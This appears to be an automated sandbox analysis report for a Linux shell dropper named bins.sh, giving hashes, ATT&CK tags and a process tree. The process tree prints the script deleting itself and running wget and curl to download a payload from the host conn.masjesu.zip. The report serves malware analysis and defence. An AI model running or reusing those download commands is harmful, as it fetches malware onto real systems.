e5d52b1198eabbd3838ed480ae2c5dbc3e0fc0324f571acef8ca05b010c1868f

Analysis

max time kernel
149s
max time network
34s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23-11-2024 22:22

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General

Target

bins.sh
Size

10KB
MD5

d5c5d061c5471db486b0d427d74621e8
SHA1

14a8cd7d50cfb2d46c090c57d70e2d2d7c7fe4ba
SHA256

e5d52b1198eabbd3838ed480ae2c5dbc3e0fc0324f571acef8ca05b010c1868f
SHA512

c22dcb8405e7b8bd168bcca162db49a29b0c4972dfdba8a0b1cab8d92ab55c6a5c63ab6682996a30f5dee5aad803c80f1e6e8930cc114c7859a17f413abb7d64
SSDEEP

96:Ys1sVs9UttaUYMLlFDeCeaeY9pPrH9PjTLn7zcLaUaYaKRZMq9q9qLQ1Mgcd+u9T:hi6zrY9ppAnGzzrY9p7

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curl

description ioc process

File opened for reading /proc/cpuinfo curl
Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
File opened for reading /proc/self/auxv curl
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurl

pid process

653 wget
659 curl

description	ioc	process
File opened for reading	/proc/cpuinfo	curl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

pid	process
653	wget
659	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - System Network Configuration Discovery
  PID:653
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:659

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/659-1-0xb66fb000-0xb670c044-memory.dmp

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